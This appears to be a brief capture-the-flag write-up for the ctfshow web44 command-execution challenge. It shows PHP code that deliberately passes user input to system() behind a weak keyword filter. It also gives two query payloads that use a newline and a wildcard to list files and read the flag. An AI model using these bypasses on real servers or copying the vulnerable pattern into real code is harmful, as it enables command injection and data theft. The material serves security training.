ctfshow-web44(命令执行)
作者:互联网
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=ls%0a
?c=tac fla?.php%0a
标签:__,web44,php%,命令,0a,ctfshow,FILE,null 来源: https://blog.csdn.net/m0_62094846/article/details/122694376